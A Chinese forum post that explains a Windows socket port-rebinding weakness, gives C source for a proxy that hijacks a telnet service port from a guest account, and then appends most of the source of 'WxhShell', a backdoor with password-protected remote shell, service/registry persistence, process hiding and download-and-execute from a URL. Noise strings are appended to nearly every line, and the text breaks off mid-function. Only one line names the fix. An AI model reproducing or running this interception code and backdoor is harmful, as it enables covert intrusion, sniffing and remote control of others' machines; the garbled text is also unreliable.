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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gO$!_!@LM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0 _&oMPY  
`bH Eu"(,  
  saddr.sin_family = AF_INET; uQ8]j.0  
kkzXv`+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }bB_[+YV`{  
f(##P|3>R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .(`u'G=  
#p_ ~L4iW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >!a*wf~]  
rH-_L&  
  这意味着什么?意味着可以进行如下的攻击: F,lQj7  
lzw r]J%|?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [2&Fnmjk}X  
W?6RUyMC$T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +x4o#N  
$6Ty~.RP5H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7L]fCw p[  
:!r_dmJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PDGh\Y[AK,  
i 5_g z>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d[O.UzQ  
re^1fv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u9GQ)`7Z@  
.@[+05Yw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y<#y3M!\  
-><?q t  
  #include {8JJ$_  
  #include QTP1u  
  #include ?;i6eg17<  
  #include    RS$:]hxd>_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u}ab[$Q5  
  int main() X59~)rH,  
  { X1" `0r3  
  WORD wVersionRequested; x$A5Ved  
  DWORD ret; YSZz4?9\  
  WSADATA wsaData; xpSMbX{e  
  BOOL val; {v2Q7ZO-  
  SOCKADDR_IN saddr; sRYFu%  
  SOCKADDR_IN scaddr; K}a[~  
  int err; xkqt(ng(  
  SOCKET s; *[ A%tj%  
  SOCKET sc; [!DLT6Qk  
  int caddsize; ea B-u  
  HANDLE mt; ]54V9l:  
  DWORD tid;   -4V1s;QUZ  
  wVersionRequested = MAKEWORD( 2, 2 ); _A%z^&k(i  
  err = WSAStartup( wVersionRequested, &wsaData ); /Wzic+v<>  
  if ( err != 0 ) { SM@1<OCc  
  printf("error!WSAStartup failed!\n"); h#`qEK&u  
  return -1; %=_ Iq\lC  
  } #_Tceq5  
  saddr.sin_family = AF_INET; .CmwR$u&  
   .Mm8\].  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?)JW}3<.  
2^Y1S?g.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Zcf?4{Kd?  
  saddr.sin_port = htons(23); XmXHs4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y]@_DL#J=  
  { 9]d$G$Kv9  
  printf("error!socket failed!\n"); Kk#8r+ ,  
  return -1; WE=`8`Li  
  } RAxA H  
  val = TRUE; +]I7)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j@ =n|cq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '2# O{  
  { am@\$Sa4  
  printf("error!setsockopt failed!\n"); i12iB+q  
  return -1; RdvJA:;q  
  } Zcdt\;HKr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w3B*%x)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E8)C_[QJ`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s>_ne0  
z3>}(+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kgYa0 e5  
  { scrNnO[3j  
  ret=GetLastError(); #~ / -n&#  
  printf("error!bind failed!\n"); )5e}Id  
  return -1; zvD$N-#`p  
  } {{giSW'  
  listen(s,2); LN_6>u  
  while(1) dD!} P$  
  { wUl}x)xo  
  caddsize = sizeof(scaddr); 9jJ&QACn  
  //接受连接请求 9 ?h)U|J?G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 191O(H  
  if(sc!=INVALID_SOCKET) 3hb1^HNT  
  { k>2 xm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^ zo"~1  
  if(mt==NULL) $|sRj!F  
  { "-N%`UA  
  printf("Thread Creat Failed!\n"); q.rnZU  
  break; &9TG&~(+  
  } g$$uf[A-SL  
  } t;ggc{  
  CloseHandle(mt); VNA VdP  
  } 1C'lT,twl  
  closesocket(s); hPhN7E03  
  WSACleanup(); lSQANC'  
  return 0; a^~l[HSF  
  }   MW`q*J`Yo  
  DWORD WINAPI ClientThread(LPVOID lpParam) "r.pU(uxt  
  { %6*xnB?  
  SOCKET ss = (SOCKET)lpParam; 1<ZvHv  
  SOCKET sc; Z7OWpujCvN  
  unsigned char buf[4096]; 5C2 *f 4|  
  SOCKADDR_IN saddr; J[]YG+r  
  long num; ?JtFiw  
  DWORD val; Wh 8fC(BE  
  DWORD ret; ?hsOhUs(5  
  //如果是隐藏端口应用的话,可以在此处加一些判断  #*?5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HJoPk'p%  
  saddr.sin_family = AF_INET; [4sbOl5yZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R.+Q K6B&  
  saddr.sin_port = htons(23); lvk(q\-f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  +loD{  
  { IO|">a6  
  printf("error!socket failed!\n"); 4,T S1H  
  return -1; /GfC/)1_  
  } K)F;^)KDHf  
  val = 100; [;#}BlbN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3'*SSZmnOB  
  { |=,V,*"  
  ret = GetLastError(); .hBE&Y>\  
  return -1; G^j/8e  
  } 3 uhwoE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) > : \lDz  
  { D|6p rC%/  
  ret = GetLastError(); B9Y "J  
  return -1; LlX 7g _!  
  } R:Z{,R+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) EKq9m=Ua@o  
  { ,Q >u N  
  printf("error!socket connect failed!\n"); I.1zD aP  
  closesocket(sc); ="<+^$7:k  
  closesocket(ss); EZE/~$`3   
  return -1; )\'U$  
  } H2|&  
  while(1) q"`1cFD  
  { jA<v<oV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  :v8j3=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ES }@mO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IHMZE42  
  num = recv(ss,buf,4096,0); jQC6N#L  
  if(num>0) IWsB$T  
  send(sc,buf,num,0); &*/8Ojv)9  
  else if(num==0) xG\&QE  
  break; ??ah  
  num = recv(sc,buf,4096,0); *5.s@L( VU  
  if(num>0) ?L+@?fVN  
  send(ss,buf,num,0); D8C@x`  
  else if(num==0) srO {Ci0  
  break; d]$z&E  
  } <0 k(d:H-  
  closesocket(ss); wQlK[F]!>  
  closesocket(sc); -Q<3Q_  
  return 0 ; #ZeZs31  
  } rwv_ RN  
2.Th29]  
>A7),6  
========================================================== a>(LFpVk}  
!2>gC"$nv  
下边附上一个代码,,WXhSHELL "ALR)s,1,  
:|EM1-lwf  
========================================================== U[ u9RB  
e(O"V3wq*6  
#include "stdafx.h" !!%vs 6  
|j#x}8 [(  
#include <stdio.h> HhH[pE  
#include <string.h> cRDjpc]  
#include <windows.h> ,A h QA  
#include <winsock2.h> c<r`E  
#include <winsvc.h> v%VCFJ  
#include <urlmon.h> LK)0g4{  
/E@LnKe  
#pragma comment (lib, "Ws2_32.lib") & 2& K9R  
#pragma comment (lib, "urlmon.lib") o{(-jhR  
i:ZpAo+Z{  
#define MAX_USER   100 // 最大客户端连接数 .^X IZ  
#define BUF_SOCK   200 // sock buffer {UT^p IP\  
#define KEY_BUFF   255 // 输入 buffer  M#IGq  
zQV$!%qR  
#define REBOOT     0   // 重启 *.8@ hPy  
#define SHUTDOWN   1   // 关机 "AS;\-Jk  
/Uz2.Ua=  
#define DEF_PORT   5000 // 监听端口 S/"-x{Gc2v  
ZUVk~X3  
#define REG_LEN     16   // 注册表键长度 .zAB)rNc |  
#define SVC_LEN     80   // NT服务名长度 H :}|UW  
&D\~-fOGb  
// 从dll定义API X25cU{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1;i[H[hNY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {k-GWYFA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^!3Sz1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o6P)IZ1  
M@[{j  
// wxhshell配置信息 hug8Hhf_&  
struct WSCFG { Q4JwX=ZVj  
  int ws_port;         // 监听端口 J0~Ha u  
  char ws_passstr[REG_LEN]; // 口令  I@08F  
  int ws_autoins;       // 安装标记, 1=yes 0=no _S7GkpoK  
  char ws_regname[REG_LEN]; // 注册表键名 ~Yv"=  
  char ws_svcname[REG_LEN]; // 服务名 WFocA:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w4<RV:Vmt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {*bXO8vi((  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l}&egq DC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EX7gTf#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -\:pbR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \SkCsE#H  
m,K0BL  
}; #*:y2W%H  
]d&6 ?7 !>  
// default Wxhshell configuration w&8gA[y*u  
struct WSCFG wscfg={DEF_PORT, v[T5D:  
    "xuhuanlingzhe", RAxAy{  
    1, oC#@9>+@+"  
    "Wxhshell", 9s5gi+l_O  
    "Wxhshell", m2AA:u_*j  
            "WxhShell Service", 8p  }E  
    "Wrsky Windows CmdShell Service", i:0~%X  
    "Please Input Your Password: ", B9`nV.a  
  1, sa36=:5x-  
  "http://www.wrsky.com/wxhshell.exe", mWZoo/xtT  
  "Wxhshell.exe" Fyrr,#  
    }; V lN&Lz  
_fz-fG 1  
// 消息定义模块 M$dDExd~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KGS=(z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r3<yG"J86  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *IJctYJaX  
char *msg_ws_ext="\n\rExit."; <\|f;7/  
char *msg_ws_end="\n\rQuit."; |XzqP +t  
char *msg_ws_boot="\n\rReboot..."; /v 7U~i5  
char *msg_ws_poff="\n\rShutdown..."; ymT&[+V  
char *msg_ws_down="\n\rSave to "; &ok2Xw  
LGGC=;{}  
char *msg_ws_err="\n\rErr!"; !U>711$  
char *msg_ws_ok="\n\rOK!"; @5K/z<p%  
6H\3  
char ExeFile[MAX_PATH]; id8a#&t]  
int nUser = 0; LSv0zAIe/  
HANDLE handles[MAX_USER]; 0&E{[~Pv  
int OsIsNt; J b Hn/$  
\b?z\bC56  
SERVICE_STATUS       serviceStatus; rIR~YMv!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R@-rc|FunJ  
glbU\K> >  
// 函数声明 _[zO?Div[  
int Install(void); /\"=egB9  
int Uninstall(void); n KC$ KC  
int DownloadFile(char *sURL, SOCKET wsh); >_XRh  
int Boot(int flag); YIGQDj@  
void HideProc(void); UaA6  
int GetOsVer(void); ]fg?)z-Z  
int Wxhshell(SOCKET wsl); [H$rdh[+  
void TalkWithClient(void *cs); BFc=GiPnQ  
int CmdShell(SOCKET sock); 4<CHwIRHY  
int StartFromService(void); %|bqL3)a_  
int StartWxhshell(LPSTR lpCmdLine); q$7WZ+Y\  
[vV]lWOp'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C vfm ,BL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dp\pkx7  
WDNuR #J?  
// 数据结构和表定义 6cQh8_/>{#  
SERVICE_TABLE_ENTRY DispatchTable[] = Q"n|<!DN  
{ (E )@@p7,:  
{wscfg.ws_svcname, NTServiceMain}, @JVax-N  
{NULL, NULL} 6 6WAD$8$  
}; Ll\y2oJ  
U@yn%k9  
// 自我安装 Ytop=ZIl'  
int Install(void) */fmy|#   
{ O$ui:<]dS  
  char svExeFile[MAX_PATH]; f l*]ua  
  HKEY key; 7'uuc]\5>  
  strcpy(svExeFile,ExeFile); gf7%vyMo$  
tYK 5?d  
// 如果是win9x系统,修改注册表设为自启动 JK34pm[s  
if(!OsIsNt) { }t#uSz^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E8j>Toz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {{w5F2b((%  
  RegCloseKey(key); me"}1REa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %/NB263Db  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NPF"_[RoeV  
  RegCloseKey(key); BWV)> -V  
  return 0; YYwFjA@  
    } i;>Yx#  
  } U<QO@5  
} U0G(  
else { 6OuB}*  
h BD .IB  
// 如果是NT以上系统,安装为系统服务 2&7:JM~#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "u:5  
if (schSCManager!=0) kBg,U8|S  
{ 97;`R[^J  
  SC_HANDLE schService = CreateService N K.]yw'  
  ( D#R5G   
  schSCManager, C)66 ^l!x  
  wscfg.ws_svcname, E0]B=-  
  wscfg.ws_svcdisp, Y3^UJe7E  
  SERVICE_ALL_ACCESS, IGqg,OEAp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #m [R1G#  
  SERVICE_AUTO_START, @."_XL74  
  SERVICE_ERROR_NORMAL, PoTJ4z  
  svExeFile, {2QCdj46  
  NULL, %>u (UmFO  
  NULL, o|FjNL  
  NULL, U7i WYdt$  
  NULL, 3BHPD;U  
  NULL ErmlM#u  
  ); ;zk& 7P0  
  if (schService!=0) [vCZoG8+>  
  { k'Is]=3  
  CloseServiceHandle(schService); Q'D%?Vg'  
  CloseServiceHandle(schSCManager); 91'i7&~xdG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KG7 ~)g  
  strcat(svExeFile,wscfg.ws_svcname); %i[G6+-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x{y}pH"H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }Fs;sfH  
  RegCloseKey(key); EY'kIVk  
  return 0; /Ilve U`E  
    } H8@1Kt  
  } =Ts2a"n  
  CloseServiceHandle(schSCManager); 5DB4vh  
} 2:b3+{\f  
} {yFCGCs  
jD]Ci#|W  
return 1; eQK}J]S<  
} Z',Z7QW7  
hc#Lni R3$  
// 自我卸载 nX 4WlH  
int Uninstall(void) REqQJ7a/  
{ ~^Ceru"<  
  HKEY key; mmSC0F  
$=&a 0O#  
if(!OsIsNt) { v0psth?qV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'YKyY:eZ  
  RegDeleteValue(key,wscfg.ws_regname); J)7m::%I  
  RegCloseKey(key); rLP:kP'b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DAYR=s  
  RegDeleteValue(key,wscfg.ws_regname); Ss>ez8q  
  RegCloseKey(key); -lICoRO#  
  return 0; vlW521  
  } rf@Cz%xDD  
} )T2V< 3l  
} w4I&SLm-b  
else { e'"2yA8dh"  
N>a. dYXr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?xkw~3Yfi  
if (schSCManager!=0) OGA_3|[S   
{ .AHf]X0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ')G, +d^  
  if (schService!=0) b3j?@31AD  
  { 0<ze'FbV]  
  if(DeleteService(schService)!=0) { 04o>POR  
  CloseServiceHandle(schService); w8(8n&5  
  CloseServiceHandle(schSCManager); jg)+]r/hS  
  return 0; 9x4%M&<Z9a  
  } Mk=M)d`  
  CloseServiceHandle(schService); r1pj-   
  } >]/RlW[  
  CloseServiceHandle(schSCManager); w^BF.Nu  
} ML:Zm~A1U  
} Ufw_GYxan  
 Z|t`}lK  
return 1; D^m`&asC  
} . {\lbI  
oh^/)2W  
// 从指定url下载文件 ORCG(N  
int DownloadFile(char *sURL, SOCKET wsh) 3haR/Y N  
{ )~> C1<  
  HRESULT hr; d2~*fHx_!  
char seps[]= "/"; =qWcw7!"  
char *token; A-6><X's6  
char *file; ./7*<W:  
char myURL[MAX_PATH]; P0 4Q_A  
char myFILE[MAX_PATH]; [{&GMc   
Fy6(N{hql  
strcpy(myURL,sURL); !4Oj^yy%  
  token=strtok(myURL,seps); |!Uul0O  
  while(token!=NULL) $l W 7me  
  { iNO}</7?  
    file=token; v~B "Il  
  token=strtok(NULL,seps); . .5s 2  
  } s* ;rt  
Z=KHsMnB  
GetCurrentDirectory(MAX_PATH,myFILE); \86:f<)P  
strcat(myFILE, "\\"); 2h;#BJ))  
strcat(myFILE, file); a62'\wF>D  
  send(wsh,myFILE,strlen(myFILE),0); NsJ]Tp5!  
send(wsh,"...",3,0); $*\G Z$y>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )/:j$aq  
  if(hr==S_OK) @r130eLh  
return 0; c'!+]'Lr  
else Vb57B.I  
return 1; ow<z @^ 3'  
q2{Aq[  
} $wm.,Vb  
##QKXSD  
// 系统电源模块 .EfGL _  
int Boot(int flag) <V b SEi  
{ S%Bm4jY  
  HANDLE hToken; ;t xW\iy%Z  
  TOKEN_PRIVILEGES tkp; y$,j'B:;4m  
=".sCV9"N  
  if(OsIsNt) { Dug{)h_2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )a=FhSB[G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4 (>8tP\Y  
    tkp.PrivilegeCount = 1; hy}n&h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n/ CP2A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /EvnwYQy  
if(flag==REBOOT) { IW>\\&pJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8ioxb`U  
  return 0; b/]@G05>>  
} Z~{0x#?4%  
else { 4qKMnYR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ETQL,t9m  
  return 0; 3?x}48  
} $5r1Si)  
  } V9\y*6#Y,  
  else { D/`b ~Yl  
if(flag==REBOOT) { P3_ &(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @-%.+  
  return 0; e_ h`x+\:  
} E]&tgZO  
else { #I-qL/Lm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [+3~wpU(p  
  return 0; krSOSW J  
} dXMO{*MF{H  
} "8R\!i.  
_08y; _S  
return 1; 5M= S7B3=  
} &eIwlynm  
f1wwx|b%.  
// win9x进程隐藏模块 O|e/(s?$  
void HideProc(void) W*Gp0pX  
{ N 6t`45  
m^%Xl@V:c-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z#Cgd-^7.#  
  if ( hKernel != NULL ) _h1:{hF  
  { JfVGs;_,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0 >:RFCo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JPmZ%]wA  
    FreeLibrary(hKernel); 5X}OUn8  
  } & m~   
d$<1Ma}  
return; 15Vo_ wD<y  
} 'Im&&uSkr  
]%<0V,G q  
// 获取操作系统版本 @D2KDV3'  
int GetOsVer(void) lfe^_`ij(+  
{ e)Pm{:E  
  OSVERSIONINFO winfo; fK1^fzV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J?[}h&otQ  
  GetVersionEx(&winfo); wrEYbb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EWp'zbWP  
  return 1; Z*kZUx7I<  
  else |n %<p  
  return 0; *OR(8;  
} e =4k|8G  
MtXd}/  
// 客户端句柄模块 Jh`6@d  
int Wxhshell(SOCKET wsl) W}.p,d  
{ F94Qb}  
  SOCKET wsh; :qxd s>Xm  
  struct sockaddr_in client; 'k!V!wcD^y  
  DWORD myID; 7p+uHm  
5imqZw  
  while(nUser<MAX_USER) ghVxcK  
{ ,}HnS)+  
  int nSize=sizeof(client); L~} 2&w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X0zE-h6P  
  if(wsh==INVALID_SOCKET) return 1; zmp Q=%/H  
mqv!"rk'w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F/chE c V  
if(handles[nUser]==0) QP[`*X  
  closesocket(wsh); D OGg=`XK1  
else ~glFB`?[  
  nUser++; 8+U':xR  
  } 90]{4]y;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nk/Ms:57y  
c69M   
  return 0; VsR`y]"g  
} R:FyCT_,  
*l\vqgv.Z  
// 关闭 socket zP;1mN  
void CloseIt(SOCKET wsh) u9^R ?y  
{ _.ELN/$-  
closesocket(wsh); $jKeJn8,  
nUser--; jHWJpm(  
ExitThread(0); _<P~'IN+n  
} :>GT<PPD;  
%Q[+bN[/  
// 客户端请求句柄 2z=GKV  
void TalkWithClient(void *cs)  zFk@Y  
{ :fE*fU@  
`<kV)d%xEF  
  SOCKET wsh=(SOCKET)cs; WX9pJ9d  
  char pwd[SVC_LEN]; 7LdNE|IP  
  char cmd[KEY_BUFF]; X>6VucH{\  
char chr[1]; fl18x;^I  
int i,j; u#m(Py  
BlvNBB1^  
  while (nUser < MAX_USER) { !WReThq  
^Wz3 q-^  
if(wscfg.ws_passstr) { u:7=Yy :  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ Oe|ZQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gDJ@s    
  //ZeroMemory(pwd,KEY_BUFF); *tZ#^YG{(  
      i=0; .1C|J  
  while(i<SVC_LEN) { rO`n S<G  
|;B 'C#  
  // 设置超时 \ml6B6  
  fd_set FdRead; Oz1ou[8k  
  struct timeval TimeOut; /+F|+1   
  FD_ZERO(&FdRead); Fttny]  
  FD_SET(wsh,&FdRead); 4ng*SE _  
  TimeOut.tv_sec=8; P$|DiiH  
  TimeOut.tv_usec=0; %C8fv|@:f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k^PqB+P!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (B zf~#]~  
 YErn50L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7F{=bL  
  pwd=chr[0]; @tLoU%  
  if(chr[0]==0xd || chr[0]==0xa) { 4)3!n*I  
  pwd=0; l C|{{?m  
  break; +/Lf4??JV  
  } fKY1=3  
  i++; :4D#hOI  
    } 7l})`> k  
4IYC;J2L  
  // 如果是非法用户,关闭 socket K!9rH>`\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dsxaxbVj%  
} d4P0f'.z  
5}4MXI4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TIa`cU`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _(\\>'1q!  
].2it{gF?b  
while(1) { = *A_{u;E  
rHtT>UE=  
  ZeroMemory(cmd,KEY_BUFF); C9}2F{8  
]41G!'E=  
      // 自动支持客户端 telnet标准   uhLg2G^h  
  j=0; ^JMSe-  
  while(j<KEY_BUFF) { &xqe8!FeA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : |c,.uO  
  cmd[j]=chr[0]; :l>T~&/98  
  if(chr[0]==0xa || chr[0]==0xd) { ku'%+svD  
  cmd[j]=0; XabrX|B#  
  break; b+M[DwPw  
  } 5W!E.fz*T  
  j++; 6zLz<p?  
    } CW=-@W7  
FZ^byIS[  
  // 下载文件 ?mt$c6-  
  if(strstr(cmd,"http://")) { Ffm Q$>S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B!le=V,@,  
  if(DownloadFile(cmd,wsh)) =P+S]<O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vAJfMUlP  
  else #1zWzt|DW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _+8$=k2nM  
  } }# -N7=h  
  else { 9_ Qm_  
<][|,9mw  
    switch(cmd[0]) { Hf %;FaJ=  
  ^aZ Wu|p  
  // 帮助 +>OEp * j  
  case '?': { {-S0m=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z<r&- !z  
    break; |"P5%k#6^>  
  } &fj&UBA  
  // 安装 &K^h'>t'  
  case 'i': { o\Hg2^YY>  
    if(Install()) _}!Q4K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j<+iL]b  
    else .@APxeU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JPUDnPr  
    break; ;8g#"p*&  
    } Vb 4Qt#o  
  // 卸载 ]'_z (s}  
  case 'r': { L#u6_`XJ+  
    if(Uninstall()) _jZDSz|Yb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$,8yTM  
    else >CPkL_@VZ=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IHo6&  
    break; jVRd[  
    } X2i<2N*@  
  // 显示 wxhshell 所在路径 LTtfOcrt  
  case 'p': { O|j5ulO}&"  
    char svExeFile[MAX_PATH]; @;<w"j`r  
    strcpy(svExeFile,"\n\r"); xel&8 `  
      strcat(svExeFile,ExeFile); ~.x!st}  
        send(wsh,svExeFile,strlen(svExeFile),0); ]V@! kg(p8  
    break; {=g-zsc]K  
    } ?EX'j >  
  // 重启 4g1u9Sc0  
  case 'b': { JpD YB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g\(7z P  
    if(Boot(REBOOT)) wKY6[vvF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hkU# lt  
    else { Ky nZzR  
    closesocket(wsh); (I[o;0w  
    ExitThread(0); t41cl  
    } _i8$!b2Mr  
    break; ,(`@ZFp$  
    } RL&3 P@r  
  // 关机 %q*U[vv  
  case 'd': { nLtP^ 1~9H  
